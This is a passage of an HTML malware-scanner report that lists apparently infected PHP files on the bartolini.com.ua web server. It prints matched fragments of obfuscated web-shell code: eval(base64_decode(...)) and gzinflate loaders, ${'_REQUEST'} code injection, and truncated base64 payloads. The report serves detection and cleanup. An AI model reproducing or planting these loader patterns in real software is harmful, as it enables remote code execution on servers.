</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_109").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/jnllw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:21</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:21</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_110" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_110").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_111" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'42OKh3B8HFEbF+2DrlT1QGhseGjXWH75sd3Dje/FZu48HPekFP8a8HnaEd/s6ve91Bz0LHe0xvV91Y9JV+FNvG7GYXKdDXue9w4z3s54/fatHu21f8iXu8t7m413u8xlKw1jsXj3M5rNeV0xnK+yGZF16bjzYvb2+y/ffR+Rf833YGNKJ8HzU4KFcXzC5MSL9nNd+P6Uzq+8idODRgeQ9SRvuFGs+NYsMCwbmeBEGlXs5wJl6K/7XdWPslTUSP5/AZBfKTojoXmB09wESCxNSNGGIDMMdoIZZaI8c3GmhVS9VYc4/2vvYsOEzgeuj0QloAM9+Bu7G62bVcvpUx2A/z3tZwmvs5CzuuhvfsSWveVqpIzQPUdO+OHtct5fRG95I//jJ68nb36VL++bnGDrLcCRxaQ1d1EbxuedaFtDsvanNhEvHRBtbq++bi6/2v3HeGaHRfFkZNqgMkgHbPKGI60NuqPGY2ZEPm3r4J8zt0rJaYNpjnV...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$tmKhU</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_111").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/images/images/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.79 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_112" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$cj6mCOQTmztf31bo</span><span style="color: #007700">[</span><span style="color: #0000BB">38</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_112").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.50 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_113" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'g96AGBF4PKI2A8tHernohsCZ1UGvkq2zQ7+HO9+J7+5hXewhX0zrOffpe01LK+0x/OFiO5gnO+8u/GqPuyvo51ZfPbdZa4yx7HHf4NbPevnd3BrVtHu4lLe7OJe/9LeQ5Cd5g704dS+WzXnY8p8rMRGZs+08s36i9u/z3Xnd0H81NmRvCCs5MFsWy31MXOh0C/aP3/jS1sq3PYlzQEpTUvWULbktbfAG7DC8GpWERRZBLOea5uy/RVm1Tb6M10Q6PQmznyF2g4kt/dOAxkScDUghAyBDDHJSGmEaP3ulZYFYfFHHun8/LGrDhMrnLIMQJKCTfYi7+ht9mF0T6Vv9xf9QrGo5bbO/srT8bHroVrVp6KzEUCWvHvwdbXZ23kQf+y9748P3+Wve6levNSn5FEK1oYLoKua+9YUretg+x2VhDmXiHiv02MXH/NV9r/0v9OB9DoraStBJAHScTsAVjFU2WWwP1M+MiHxz19DiZX8xUMvukwz...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$ZWL</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_113").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/images/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.60 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_114" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$WOH7gM_n5DPx</span><span style="color: #007700">[</span><span style="color: #0000BB">42</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_114").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_115" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'QK5MZmD8fxRYgvdobNkOpVIpkw4lsdeJ8m+6tPPUzHf957duhv+M0z7HOrfqzL7/8wwx7Hd8+PV+5a/dleii/a9Bp7lrrrWua04/3u+xLO6M3dxObciXO/t7u6V1u8xnOQ1Cd/GvZ6XZ8qkjP19nZSLu1XGl5+Xt1F/9+i0j+4fs5saUSYOkpwVC4umb6Zkc6vb60f0rmF95FrcEqg9gyRF56WY8yXgxyQBejsLggo0idHPtUX5/gqz6htdmS6K/HIz4TZCV47yN0uHSQSLuBqwwAZghpjENv7h0zdbYCWO1XhJh/Y4+aw6QMD67OSjUiCo0LG4tbkbvVx9mRFbX83H3mBb+8mzM/6F9+xKZ9yVtmiMDtI1b57c0y1n+FZyXi+/PGrLfvTbWN63brsZcNRSMKWCqurmeLx1rTrodi9U7kJl6tYLsNTNwfTV/W/96izQ/E6rkcrQB0hFwIHQ1QRnthX8RA3Pj4x8eVPgb+5fNhArJN6s...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$fetq</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_115").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/images/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_116" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$lQMfm</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_116").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_117" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gy7Iw2fJOiA+tDerh0xtKJlEGPkt7Lh9k3e89wtP5uruc1eP6hLnK8939o4Le+6xXHCjvewRH/Sf+OKPqSvo61ZbHbT3mwlm3vHd5udHtzLu/gVv9hLe583ubi3e7yHXqBXPw2Nezkv14VJHfq7LTkRErvNOz9uarL//9FpH9xffjZ0okwd8joVC4umb6ZkUyvb60f0rmF99FrcEqg9gyJF56WY0y3gxyAAvZ6FQYUaxmDn0qr8fc1ZdltdmS6I/HIz4TZCZg9y01uHiQSJuBqwgAZghp9ENLjCpnb2wEscuvCjD/z+9Fj1hYG1yNk6pEFhpHOxf3Q2e7i6J1K3+4veqdD38pNnd21K8tvKb9yVpmjMDtQ1G479Zx6T/is6xR+/Fr15lPu2bvc7tdaMsuwJEFrBV3VTsF761pV0Ow+qdyES8eEFMul64vJqfL/+M5ZodC9VQm1oCyQCaodoYgoT3wq+IgZnR8YevinwP3cvmoh1kOe2...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$GAT</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ceXe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_117").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/images/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 1.84 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_118" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique 